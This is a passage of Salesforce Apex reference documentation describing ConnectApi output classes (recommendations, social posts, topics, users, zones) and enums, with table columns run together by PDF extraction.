recommendation channel. Recommendations
appear by default on the Customer Service
(Napili) community home and question detail
pages and in the feed in communities in the
Salesforce1 mobile browser app. They also appear
anywhere community managers add
recommendations using Community Builder in
communities using the Summer ’15 or later
version of the Customer Service (Napili) template.
35.0Indicates whether scheduling is enabled. If true,
the recommendation is enabled and appears in
Booleanenabled
communities. If false, recommendations in feeds
in the Salesforce1 mobile browser app aren’t
removed, but no new recommendations appear. In
communities using the Summer ’15 or later version
of the Customer Service (Napili) template, disabled
recommendations no longer appear.
35.018-character ID of the scheduled recommendation.Stringid
35.0The rank determining the order of this scheduled
recommendation.
Integerrank
35.0ID of the audience for the scheduled
recommendation.
Stringrecommendation
AudienceId
35.0Recommendation definition that this scheduled
recommendation schedules.
ConnectApi.
Recommendation
Definition
recommendation
Definition
Representation
1611
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
35.0URL to the Chatter REST API resource for the
scheduled recommendation.
Stringurl
SEE ALSO:
ConnectApi.ScheduledRecommendationPage
ConnectApi.ScheduledRecommendationPage
Represents a list of scheduled recommendations.
Available VersionDescriptionTypeProperty Name
35.0A list of scheduled recommendations.List<ConnectApi.
Scheduled
Recommendation>
scheduled
Recommendations
35.0URL to the Chatter REST API resource for the
scheduled recommendation collection.
Stringurl
ConnectApi.SocialAccount
A social account on a social network.
Available VersionDescriptionTypeProperty Name
38.0ID of the external social account, if available.StringexternalSocial
AccountId
36.0Social handle, screen name, or alias that identifies
this account.
Stringhandle
36.0Name of the account as defined by the account's
owner.
Stringname
36.0URL to the account's profile.StringprofileUrl
39.0ID of the social persona account, if the external social
account ID isn’t available.
StringsocialPersonaId
SEE ALSO:
ConnectApi.SocialPostCapability
ConnectApi.SocialPostCapability
If a feed element has this capability, it can interact with a social post on a social network.
Subclass of ConnectApi.FeedElementCapabilities Class.
1612
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
36.0The social account that authored the social post.ConnectApi.
SocialAccount
author
36.0The content body of the social post.Stringcontent
38.0The user who deleted the social post.ConnectApi.User
Summary Class
deletedBy
36.0The icon of the social network.ConnectApi.Icon
Class
icon
36.0The ID associated with the social post Salesforce
record.
Stringid
36.0If true, the social post originated from the
Salesforce application.
BooleanisOutbound
38.0The message type of the social post. Values are:ConnectApi.
SocialPost
MessageType
messageType
•Comment
•Direct
•Post
•PrivateMessage
•Reply
•Retweet
•Tweet
36.0The title or heading of the social post.Stringname
36.0The external URL to the social post on the social
network.
StringpostUrl
36.0The social network that this social post belongs to.
Values are:
ConnectApi.
SocialNetwork
Provider
provider
•Facebook
•GooglePlus
•Instagram
•KakaoTalk
•Kik
•Klout
•Line
•LinkedIn
•Messenger
•Other
•Pinterest
•QQ
•Rypple
1613
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
•SinaWeibo
•SMS
•Snapchat
•Telegram
•Twitter
•VKontakte
•WeChat
•WhatsApp
•YouTube
36.0The social account that is the recipient of the social
post.
ConnectApi.
SocialAccount
recipient
38.0The ID of the recipient of the social post.StringrecipientId
36.0The status of the social post.ConnectApi.
SocialPostStatus
status
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.SocialPostStatus
The status of a social post.
Available VersionDescriptionTypeProperty Name
36.0Status message.Stringmessage
36.0Status type. Values are:ConnectApi.
SocialPostStatusType
type
•ApprovalPending
•ApprovalRecalled
•ApprovalRejected
•Deleted
•Failed
•Pending
•Replied
•Sent
•Unknown
SEE ALSO:
ConnectApi.SocialPostCapability
1614
ConnectApi Output ClassesReference
ConnectApi.Stamp
A user stamp.
Available VersionDescriptionTypeProperty Name
39.0Description of the stamp.Stringdescription
39.0ID of the stamp.Stringid
39.0Image URL of the stamp.StringimageUrl
39.0Label of the stamp.Stringlabel
SEE ALSO:
ConnectApi.User Class
ConnectApi.StatusCapability
If a feed post or comment has this capability, it has a status that determines its visibility.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
37.0Specifies the status of the feed post or comment.
Values are:
ConnectApi.
FeedEntityStatus
feedEntityStatus
•PendingReview—The feed post or comment
isn’t approved yet and therefore isn’t published
or visible.
•Published—The feed post or comment is
approved and visible.
37.0Specifies whether the context user can change the
status of the feed post or comment.
BooleanisApprovableByMe
SEE ALSO:
ConnectApi.CommentCapabilities Class
ConnectApi.FeedElementCapabilities Class
ConnectApi.Subscription Class
Available VersionDescriptionTypeName
28.0Information about the community in which the
subscription exists
ConnectApi.Referencecommunity
28.0Subscription’s 18–character IDStringid
1615
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0Information about the parent, that is, the thing
or person being followed
ConnectApi.Actorsubject
28.0Information about the subscriber, that is, the
person following this item
ConnectApi.Actorsubscriber
28.0Chatter REST API URL to this specific subscriptionStringurl
SEE ALSO:
ConnectApi.FollowerPage Class
ConnectApi.FollowingPage Class
ConnectApi.SupportedEmojis
A collection of supported emojis.
Available VersionDescriptionTypeProperty Name
39.0A collection of supported emojis.ConnectApi.
EmojiCollection
supportedEmojis
ConnectApi.TextSegment Class
Subclass of ConnectApi.MessageSegment Class
No additional properties.
ConnectApi.TimeZone Class
The user's time zone as selected in the user’s personal settings in Salesforce. This value does not reflect a device's current location.
Available VersionDescriptionTypeName
30.0Signed offset, in hours, from GMTDoublegmtOffset
30.0Display name of this time zoneStringname
SEE ALSO:
ConnectApi.UserSettings Class
ConnectApi.Topic Class
Available VersionDescriptionTypeName
29.0ISO8601 date string, for example, 2011-02-25T18:24:31.000ZDatetimecreatedDate
1616
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
29.0Description of the topicStringdescription
29.018-character IDStringid
32.0Images associated with the topicConnectApi.
TopicImages
images
33.0true if the topic is currently being deleted; false otherwise.
After the topic is deleted, when attempting to retrieve the topic, the
output is NOT_FOUND.
BooleanisBeingDeleted
29.0Name of the topicStringname
36.0Non-localized name of the topicStringnonLocalized
Name
29.0Number of people talking about this topic over the last two months,
based on factors such as topic additions and comments on posts
with the topic
IntegertalkingAbout
29.0URL to the topic detail pageStringurl
SEE ALSO:
ConnectApi.ManagedTopic Class
ConnectApi.TopicPage Class
ConnectApi.TopicEndorsement Class
ConnectApi.TopicEndorsementCollection Class
ConnectApi.TopicSuggestion Class
ConnectApi.TopicsCapability Class
ConnectApi.TopicEndorsement Class
Represents one user endorsing another user for a single topic.
Available
Version
DescriptionTypeName
30.0User being endorsedConnectApi.User
Summary
endorsee
30.018-character ID of the endorsement recordStringendorsementId
30.0User performing the endorsementConnectApi.User
Summary
endorser
30.0Topic the user is being endorsed forConnectApi.Topictopic
30.0URL to the resource for the endorsement recordStringurl
1617
ConnectApi Output ClassesReference
ConnectApi.TopicEndorsementCollection Class
A collection of topic endorsement response bodies.
Available VersionDescriptionTypeName
30.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
30.0Chatter REST API URL identifying the next page or null if there
isn’t a next page. Check whether this value is null before
StringnextPageUrl
getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
30.0Chatter REST API URL identifying the previous page or null if
there isn’t a previous page.
StringpreviousPageUrl
30.0List of topic endorsementsList<ConnectApi.
Topic>
topicEndorsements
ConnectApi.TopicImages Class
Images associated with a topic.
Available VersionDescriptionTypeProperty Name
32.0URL to a topic’s cover image, which appears on the
topic page. Both topics and managed topics can have
cover images.
StringcoverImageUrl
32.0URL to a managed topic’s featured image, which
appears wherever you feature it, for example, on the
communities home page.
StringfeaturedImageUrl
SEE ALSO:
ConnectApi.Topic Class
ConnectApi.TopicPage Class
Available
Version
DescriptionTypeName
29.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
29.0Chatter REST API URL identifying the next page or null
if there isn’t a next page. Check whether this value is
StringnextPageUrl
null before getting another page. If a page doesn’t
exist, a ConnectApi.NotFoundException error
is returned.
1618
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
29.0List of topicsList<ConnectApi.
Topic>
topics
ConnectApi.TopicsCapability Class
If a feed element has this capability, the context user can add topics to it. Topics help users organize and discover conversations.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0true if a topic can be assigned to the feed element,
false otherwise.
BooleancanAssignTopics
32.0A collection of topics associated with this feed
element.
List<ConnectApi.
Topic>
items
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.TopicSuggestion Class
Available
Version
DescriptionTypeName
29.0Topic that already exists or null for a new topicConnectApi.TopicexistingTopic
29.0Topic nameStringname
SEE ALSO:
ConnectApi.TopicSuggestionPage Class
ConnectApi.TopicSuggestionPage Class
Available
Version
DescriptionTypeName
29.0List of topic suggestionsList<ConnectApi.
TopicSuggestion>
TopicSuggestions
1619
ConnectApi Output ClassesReference
ConnectApi.TrackedChangeAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.TrackedChangesCapability is
used.
Available
Version
DescriptionTypeName
28.0–31.0A list of tracked changes.List<ConnectApi.
TrackedChangeItem>
changes
ConnectApi.TrackedChangeBundleCapability
If a feed element has this capability, it has a group of other feed elements aggregated into one feed element called a bundle. This type
of bundle aggregates feed tracked changes.
Subclass of ConnectApi.BundleCapability Class.
Available VersionDescriptionTypeProperty Name
31.0Collection of feed tracked changes.List<ConnectApi.
TrackedChangeItem>
changes
ConnectApi.TrackedChangeItem Class
Available
Version
DescriptionTypeName
28.0The name of the field that was updated.StringfieldName
28.0The new value of the field or null if the field length is long.StringnewValue
28.0The old value of the field or null if the field length is long.StringoldValue
SEE ALSO:
ConnectApi.TrackedChangesCapability
ConnectApi.TrackedChangeBundleCapability
ConnectApi.TrackedChangesCapability
If a feed element has this capability, it contains all changes to a record for a single tracked change event.
Subclass of ConnectApi.FeedElementCapability Class.
1620
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0Collection of feed tracked changes.List<ConnectApi.
TrackedChangeItem>
changes
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.UnauthenticatedUser Class
Subclass of ConnectApi.Actor Class
No additional properties.
Instances of this class are used as the actor for feed items and comments posted by Chatter customers.
ConnectApi.UnreadConversationCount Class
Available
Version
DescriptionTypeName
29.0Specifies if there are more than 50 unread
messages (true) or not (false)
BooleanhasMore
29.0The total number of unread messagesIntegerunreadCount
ConnectApi.User Class
This class is abstract.
Subclass of ConnectApi.ActorWithId Class
Superclass of:
•ConnectApi.UserDetail Class
•ConnectApi.UserSummary Class
Available VersionDescriptionTypeName
30.0An additional label for the user, for example,
“Customer,” “Partner,” or “Acme Corporation.” If the
Stringadditional
Label
user doesn’t have an additional label, the value is
null.
32.0User’s nickname in the community.StringcommunityNickname
28.0Name of the company.
If your community allows access without logging in,
the value is null for guest users.
StringcompanyName
1621
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
32.0User’s name that is displayed in the community. If
nicknames are enabled, the nickname is displayed. If
nicknames aren’t enabled, the full name is displayed.
StringdisplayName
28.0User's first name. In version 39.0 and later, if nicknames
are enabled, firstName is null.
StringfirstName
28.0true if user is a Chatter customer; false otherwise.BooleanisChatterGuest
28.0true if user is in the same community as the context
user; false otherwise
BooleanisInThisCommunity
28.0User's last name. In version 39.0 and later, if nicknames
are enabled, lastName is null.
StringlastName
28.0Information about the user's photos.ConnectApi.Photophoto
32.0Reputation of the user.ConnectApi.Reputation
Class
reputation
39.0Collection of the user’s stamps.List<ConnectApi.Stamp>stamps
28.0User’s title.
If your community allows access without logging in,
the value is null for guest users.
Stringtitle
28.0Specifies the type of user.ConnectApi.UserType
Enum
userType
•ChatterGuest—User is an external user in a
private group.
•ChatterOnly—User is a Chatter Free
customer.
•Guest—User is unauthenticated.
•Internal—User is a standard organization
member.
•Portal—User is an external user in a customer
portal, partner portal, or community.
•System—User is Chatter Expert or a system user.
•Undefined—User is a user type that is a
custom object.
SEE ALSO:
ConnectApi.RecommendationAudience
ConnectApi.UserCapabilities Class
The capabilities associated with a user profile.
1622
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
29.0Specifies if the context user can use Chatter Messenger with the
subject user (true) or not (false)
BooleancanChat
29.0Specifies if the context user can direct message the subject user
(true) or not (false)
BooleancanDirectMessage
29.0Specifies if the context user can edit the subject user’s account
(true) or not (false)
BooleancanEdit
29.0Specifies if the context user can follow the subject user’s feed (true)
or not (false)
BooleancanFollow
29.0Specifies if the context user can view the feed of the subject user
(true) or not (false)
BooleancanViewFeed
29.0Specifies if the context user can view the full profile of the subject
user (true) or only the limited profile (false)
BooleancanViewFullProfile
29.0Specifies if the subject user is a Chatter moderator or admin (true)
or not (false)
BooleanisModerator
SEE ALSO:
ConnectApi.UserProfile Class
ConnectApi.UserChatterSettings Class
A user’s global Chatter settings.
Available
Version
DescriptionTypeName
28.0The default frequency with which a user receives email
from a group when they join it.
ConnectApi.GroupEmail
Frequency Enum
defaultGroup
EmailFrequency
ConnectApi.UserDetail Class
Subclass of ConnectApi.User Class
Details about a user in an organization.
If the context user doesn’t have permission to see a property, its value is set to null.
Available
Version
DescriptionTypeName
28.0Text from user's profileStringaboutMe
28.0User’s addressConnectApi.Addressaddress
1623
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
36.0User’s banner photoConnectApi.
BannerPhoto
bannerPhoto
28.0Chatter activity statisticsConnectApi.Chatter
Activity
chatterActivity
28.0User’s influence rankConnectApi.Global
Influence
chatterInfluence
28.0User's email addressStringemail
28.0Number of users following this userIntegerfollowersCount
28.0Information about items the user is followingConnectApi.Following
Counts
followingCounts
28.0Number of groups user is followingIntegergroupCount
31.0true if user has access to Chatter; false otherwiseBooleanhasChatter
28.0true if user is active; false otherwiseBooleanisActive
28.018-character ID of the user’s managerStringmanagerId
28.0Locale-based concatenation of manager's first and last
names
StringmanagerName
28.0Collection of user's phone numbersList<ConnectApi.Phone
Number>
phoneNumbers
29.0The number of times the user has been thanked.IntegerthanksReceived
28.0Username of the user, such as
Admin@mycompany.com.
Stringusername
SEE ALSO:
ConnectApi.UserPage Class
ConnectApi.UserProfile Class
ConnectApi.UserGroupPage Class
A paginated list of groups the context user is a member of.
Available
Version
DescriptionTypeName
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
28.0List of groupsList<ConnectApi.
ChatterGroup
Summary>
groups
1624
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
28.0Chatter REST API URL identifying the next page or null if
there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
28.0Chatter REST API URL identifying the previous page or null
if there isn’t a previous page.
StringpreviousPageUrl
28.0Total number of groups across all pagesIntegertotal
ConnectApi.UserOauthInfo
Available VersionDescriptionTypeName
37.0The available OAuth service provider.Connect.Oauth
ProviderInfo
availableExternal
EmailService
37.0Specifies whether the user is authenticated (true) or not (false).BooleanisAuthenticated
ConnectApi.UserPage Class
Available
Version
DescriptionTypeName
28.0Token identifying the current page.IntegercurrentPageToken
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
28.0Token identifying the next page or null if there is no next
page.
IntegernextPageToken
28.0Chatter REST API URL identifying the next page or null if
there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
28.0Token identifying the previous page or null if there is no
previous page.
IntegerpreviousPageToken
28.0Chatter REST API URL identifying the previous page or null
if there isn’t a previous page.
StringpreviousPageUrl
28.0List of user detail information. If the context user doesn’t have
permission to see a property, the property is set to null.
List<ConnectApi.User
Detail>
users
1625
ConnectApi Output ClassesReference
ConnectApi.UserProfile Class
Details necessary to render a view of a user profile.
Available
Version
DescriptionTypeName
29.0The context user’s capabilities specific to the
subject user’s profile
ConnectApi.UserCapabilitiescapabilities
29.0The ID of the user attached to the profileStringid
29.0The tabs visible to the context user specific to the
subject user’s profile
List<ConnectApi.UserProfileTab>tabs
29.0The URL of the user’s profileStringurl
29.0The details about the user attached to the profileConnectApi.UserDetailuserDetail
ConnectApi.UserProfileTab Class
Information about a profile tab.
Available
Version
DescriptioTypeName
29.0The tab’s unique identifier or 18–character IDStringid
29.0Specifies if the tab appears first when clicking the
user profile (true) or not (false)
BooleanisDefault
29.0Specifies the type of tabConnectApi.UserProfile
TabType Enum
tabType
•CustomVisualForce—Tab that displays
data from a Visualforce page.
•CustomWeb—Tab that displays data from
any external Web-based application or Web
page.
•Element—Tab that displays generic
content inline.
•Feed—Tab that displays the Chatter feed.
•Overview—Tab that displays user details.
29.0The current tab’s content URL (for non built-in
tab types)
StringtabUrl
SEE ALSO:
ConnectApi.UserProfile Class
1626
ConnectApi Output ClassesReference
ConnectApi.UserReferencePage
A list of user references.
Available VersionDescriptionTypeProperty Name
35.0URL to the current page.StringcurrentPageUrl
35.0URL to the next page.StringnextPageUrl
35.0URL to the previous page.StringpreviousPageUrl
35.0Number of users in the collection.IntegeruserCount
35.0A collection of user references.List<ConnectApi.
Reference>
users
SEE ALSO:
ConnectApi.CustomListAudienceCriteria
ConnectApi.UserSettings Class
Available
Version
DescriptionTypeProperty
28.0User can approve workflows from Chatter posts.BooleanapprovalPosts
28.0User can follow users and recordsBooleancanFollow
28.0User has “Modify all Data” permissionBooleancanModify
AllData
28.0User can own groupsBooleancanOwnGroups
28.0User has “View all Data” permissionBooleancanViewAllData
28.0User has “View all Groups” permissionBooleancanViewAllGroups
28.0User has “View all Users” permissionBooleancanViewAllUsers
34.0User can see the community switcher menu.BooleancanViewCommunity
Switcher
28.0User can see other user’s Chatter profilesBooleancanViewFull
UserProfile
28.0User can see all files marked as publicBooleancanViewPublicFiles
28.0Currency symbol to use for displaying currency values. Applicable only when
the ConnectApi.Features.multiCurrency property is false.
StringcurrencySymbol
28.0User is a Chatter customerBooleanexternalUser
32.0Maximum number of files user can syncIntegerfileSyncLimit
1627
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeProperty
29.0Maximum storage for synced files, in megabytes (MB)IntegerfileSync
StorageLimit
32.0Maximum number of folders user can syncIntegerfolderSync
Limit
28.0User is a member of the internal organizationBooleanhasAccessTo
InternalOrg
31.0User has access to ChatterBooleanhasChatter
28.0User has “Sync Files” permission.BooleanhasFileSync
34.0Administrator for the user’s organization allows file sync clients to update
automatically.
BooleanhasFileSync
ManagedClient
AutoUpdate
29.0User has access to REST API.BooleanhasRestData
ApiAccess
30.0The user's time zone as selected in the user’s personal settings in Salesforce.
This value does not reflect a device's current location.
ConnectApi.
TimeZone
timeZone
28.0The ISO code for the default currency. Applicable only when the
ConnectApi.Features.multiCurrency property is true.
StringuserDefault
CurrencyIsoCode
28.018-character ID of the userStringuserId
28.0Locale of userStringuserLocale
SEE ALSO:
ConnectApi.OrganizationSettings Class
ConnectApi.UserSummary Class
Subclass of ConnectApi.User Class
1628
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
28.0true if user is active; false otherwiseBooleanisActive
SEE ALSO:
ConnectApi.ChatterConversation Class
ConnectApi.ChatterConversationSummary Class
ConnectApi.ChatterGroup Class
ConnectApi.ChatterLike Class
ConnectApi.DashboardComponentSnapshot
ConnectApi.DirectMessageMemberPage
ConnectApi.GroupMembershipRequest Class
ConnectApi.GroupMember Class
ConnectApi.FeedFavorite Class
ConnectApi.OriginCapability
ConnectApi.PlatformAction Class
ConnectApi.ChatterMessage Class
ConnectApi.Comment Class
ConnectApi.File Class
ConnectApi.MentionSegment Class
ConnectApi.QuestionAndAnswersCapability Class
ConnectApi.SocialPostCapability
ConnectApi.TopicEndorsement Class
ConnectApi.Zone Class
Information about a Chatter Answers zone.
Available
Version
DescriptionTypeName
29.0The description of the zoneStringdescription
29.0The zone IDStringid
29.0Indicates whether or not the zone is activeBooleanisActive
29.0Indicates whether or not the zone is available for
Chatter Answers
BooleanisChatterAnswers
29.0Name of the zoneStringname
30.0The URL of the zoneStringurl
29.0Zone visibility typeConnectApi.ZoneShowInvisibility
•Community—Available in a community.
1629
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
•Internal—Available internally only.
•Portal—Available in a portal.
29.0If the zone is available in a portal or a community,
this property contains the ID of the portal or
StringvisibilityId
community. If the zone is available to all portals,
this property contains the value All.
SEE ALSO:
ConnectApi.ZonePage Class
ConnectApi.ZonePage Class
Information about zone pages.
Available
Version
DescriptionTypeName
29.0A list of one or more zonesList<ConnectApi.Zone>zones
29.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
29.0Chatter REST API URL identifying the next page
or null if there isn’t a next page. Check whether
StringnextPageUrl
this value is null before getting another page.
If a page doesn’t exist, a
ConnectApi.NotFoundException error
is returned.
ConnectApi.ZoneSearchPage Class
Information about the search results for zones.
Available
Version
DescriptionTypeName
29.0Token identifying the current page.StringcurrentPageToken
29.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
29.0List of search resultsList<ConnectApi.ZoneSearchResult>items
29.0Token identifying the next page or null if there
is no next page.
StringnextPageToken
29.0Chatter REST API URL identifying the next page
or null if there isn’t a next page. Check whether
StringnextPageUrl
1630
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
this value is null before getting another page.
If a page doesn’t exist, a
ConnectApi.NotFoundException error
is returned.
ConnectApi.ZoneSearchResult Class
Information about a specific zone search result.
Available
Version
DescriptionTypeName
29.0Indicates if the search result has a best answerBooleanhasBestAnswer
29.0ID of the search result. The search result can be a
question or an article.
Stringid
29.0Title of the search resultStringtitle
29.0Specifies the zone search result typeConnectApi.ZoneSearch
ResultType Enum
type
•Article—Search results contain only
articles.
•Question—Search results contain only
questions.
29.0Number of votes given to the search resultStringvoteCount
SEE ALSO:
ConnectApi.ZoneSearchPage Class
ConnectApi Enums
Enums specific to the ConnectApi namespace.
ConnectApi enums inherit all properties and methods of Apex enums.
Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.
DescriptionEnum
Specifies the number of times an action link can be executed.ConnectApi.ActionLink
ExecutionsAllowed •Once—An action link can be executed only once across all users.
•OncePerUser—An action link can be executed only once for each user.
•Unlimited—An action link can be executed an unlimited number of times by each user.
If the action link’s actionType is Api or ApiAsync, you can’t use this value.
1631
ConnectApi EnumsReference
DescriptionEnum
Specifies the type of action link.ConnectApi.
ActionLinkType •Api—The action link calls a synchronous API at the action URL. Salesforce sets the status
to SuccessfulStatus or FailedStatus based on the HTTP status code returned
by your server.
•ApiAsync—The action link calls an asynchronous API at the action URL. The action remains
in a PendingStatus state until a third party makes a request to
/connect/action-links/actionLinkId to set the status to
SuccessfulStatus or FailedStatus when the asynchronous operation is
complete.
•Download—The action link downloads a file from the action URL.
•Ui—The action link takes the user to a Web page at the action URL.
Specifies the type of sharing operation.ConnectApi.
ActivitySharingTypeEnum •Everyone—The activity is shared with everyone.
•MyGroups—The activity is shared only with a selection of the context user’s groups.
•OnlyMe—The activity is private.
Decorates a feed item with a color and set of icons.ConnectApi.BannerStyle
•Announcement—An announcement displays in a designated location in the Salesforce
UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another
announcement.
Specifies the type of bundle.ConnectApi.BundleType
•GenericBundle—A bundle that contains no additional information and is just a
collection of feed elements.
•TrackedChanges—A bundle that represents a collection of feed tracked changes. The
bundle includes summary information about the feed tracked changes that make up the
bundle.
Specifies the type of user who made the comment.ConnectApi.
CaseActorType •Customer—if a Chatter customer made the comment
•CustomerService—if a service representative made the comment
Specifies the event type of a comment in Case Feed.ConnectApi.CaseComment
EventType •NewInternal—A case comment that has newly been marked Internal Only.
•NewPublished—A newly published case comment.
•NewPublishedByCustomer—A case comment by a customer that was newly
published.
•PublishExisting—An existing case comment that was republished.
•PublishExistingByCustomer—An existing case comment by a customer that
was republished.
•UnpublishExistingByCustomer—An existing case comment by a customer that
was unpublished.
1632
ConnectApi EnumsReference
DescriptionEnum
•UnpublishExsiting—An existing case comment that was unpublished.
Note: Unfortunately, this typo is in the code, not the documentation. Use this spelling
in your code.
Specifies the type of comment.ConnectApi.CommentType
•ContentComment—Comment holds a content capability.
•TextComment—Comment contains only text.
Specifies the type of moderation flag.ConnectApi.
CommunityFlagType •FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
Specifies the visibility behavior of a flag for various user types.ConnectApi.
CommunityFlagVisibility •ModeratorsOnly—The flag is visible only to users with moderation permissions on the
flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with
moderation permissions on the flagged element or item.
Specifies the status of the community.ConnectApi.
CommunityStatus •Live
•Inactive
•UnderConstruction
Specifies the type of activity.ConnectApi.ActivityType
•All
•Event
•Task
Specifies the type of directory entry.ConnectApi.ContentHub
DirectoryEntryType •GroupEntry
•UserEntry
Specifies the sharing status for the external file.ConnectApi.ContentHub
ExternalItemSharingType •DomainSharing—File is shared with the domain.
•PrivateSharing—File is private or shared only with individuals.
•PublicSharing—File is publicly shared.
Specifies the type of group.ConnectApi.ContentHub
GroupType •Everybody—Group is public to everybody.
•EverybodyInDomain—Group is public to everybody in the same domain.
•Unknown—Group type is unknown.
1633
ConnectApi EnumsReference
DescriptionEnum
Specifies the item types.ConnectApi.ContentHub
ItemType •Any—Includes files and folders.
•FilesOnly—Includes files only.
•FoldersOnly—Includes folders only.
Specifies support for content streaming.ConnectApi.ContentHub
StreamSupport •ContentStreamAllowed
•ContentStreamNotAllowed
•ContentStreamRequired
Specifies the data type of the value of the field.ConnectApi.ContentHub
VariableType •BooleanType
•DateTimeType
•DecimalType
•HtmlType
•IdType
•IntegerType
•StringType
•UriType
•XmlType
Specifies the period of time that is included in a Chatter email digest.ConnectApi.DigestPeriod
•DailyDigest—The email includes up to the 50 latest posts from the previous day.
•WeeklyDigest—The email includes up to the 50 latest posts from the previous week.
Specifies the direction of an email message on a case.ConnectApi.EmailMessage
Direction •Inbound—An inbound message (sent by a customer).
•Outbound—An outbound message (sent to a customer by a support agent).
Specifies the type of user.ConnectApi.
DatacloudUserType •Monthly—A user type that’s assigned monthly point limits for purchasing Data.com
records. Only the assigned user can use monthly points. Points expire at the end of the
month. Monthly is the default setting for DatacloudUserType.
•Listpool—A user type that allows users to draw from a pool of points to purchase
Data.com records.
Specifies the status of the import.ConnectApi.
DatacloudImport
StatusTypeEnum •Success—Indicates that selected records were added to the organization’s CRM.
•Duplicate—Marks a record that is already in the organization’s CRM. The API determines
whether an organization allows the addition of duplicate records in its CRM.
•Error—Indicates that the selected records weren’t added to the organization’s CRM.
1634
ConnectApi EnumsReference
DescriptionEnum
Specifies the density of the feed.ConnectApi.FeedDensity
•AllUpdates—Displays all updates from people and records the user follows and groups
the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and
groups the user is a member of, but hides some system-generated updates from records.
Specifies the capabilities of a feed element in API versions 31.0 and later. If a capability exists on
a feed element, the capability is available, even if the value doesn’t exist or is null. If the
capability doesn’t exist, it isn’t available.
ConnectApi.
FeedElementCapability
Type
•AssociatedActions—The feed element includes information about actions associated
with it.
•Approval—The feed element includes information about an approval.
•Banner—The body of the feed element has an icon and border.
•Bookmarks—The context user can bookmark the feed element. Bookmarked feed elements
are visible in the bookmarks feed.
•Bundle—The feed element has a group of other feed elements that display as a bundle
in the feed. The bundle type determines the additional data associated with the bundle.
•Canvas—The feed element renders a canvas app.
•CaseComment—The feed element has a case comment in the case feed.
•ChatterLikes—The context user can like the feed element.
•Comments—The context user can add comments to the feed element.
•Content—The feed element has a file.
•DashboardComponentSnapshot—The feed element has a dashboard component
snapshot.
•DirectMessage—The feed element is a direct message.
•Edit—Users who have permission can edit the feed element.
•EmailMessage—The feed element has an email message from a case.
•EnhancedLink—The feed element has a link that can contain supplemental information
like an icon, a title, and a description.
•FeedEntityShare—The feed element has a feed entity shared with it.
•Files—The feed element has one or more file attachments.
•Interactions—The feed element has information about user interactions.
•Link—The feed element has a URL.
•Moderation—Users in a community can flag the feed element for moderation.
•Mute—The context user can mute the feed element.
•Origin—The feed element was created by a feed action.
•Poll—The feed element has poll voting.
•QuestionAndAnswers—The feed element has a question, and users can add answers
to the feed element instead of comments. Users can also select the best answer.
•Recommendations—The feed element has a recommendation.
1635
ConnectApi EnumsReference
DescriptionEnum
•RecordSnapshot—The feed element has all the snapshotted fields of a record for a
single create record event.
•SocialPost—The feed element can interact with a social post on a social network.
•Status—The feed element has a status that determines its visibility.
•Topics—The context user can add topics to the feed element.
•TrackedChanges—The feed element has all changes to a record for a single tracked
change event.
Feed elements are the top-level objects that a feed contains. The feed element type describes
the characteristics of that feed element.
ConnectApi.FeedElement
Type
•Bundle—A container of feed elements. A bundle also has a body made up of message
segments that can always be gracefully degraded to text-only values.
•FeedItem—A feed item has a single parent and is scoped to one community or across
all communities. A feed item can have capabilities such as bookmarks, canvas, content,
comment, link, poll. Feed items have a body made up of message segments that can always
be gracefully degraded to text-only values.
•Recommendation—A recommendation is a feed element with a recommendations
capability. A recommendation suggests records to follow, groups to join, or applications
that are helpful to the context user.
Specifies the status of the feed post or comment.ConnectApi.FeedEntity
Status •PendingReview—The feed post or comment isn’t approved yet and therefore isn’t
published or visible.
•Published—The feed post or comment is approved and visible.
Specifies the origin of the feed favorite, such as whether it’s a search term or a list view:ConnectApi.FeedFavorite
Type •ListView
•Search
•Topic
Specifies a filter value for a feed.ConnectApi.FeedFilter
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently,
these feed elements have a User or a Group parent record. However, other parent record
types could be scoped to communities in the future. Feed elements that are always visible
in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have
any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a
best answer.
1636
ConnectApi EnumsReference
DescriptionEnum
Specifies the attachment type for feed item output objects:ConnectApi.FeedItem
AttachmentType •Approval—A feed item requiring approval.
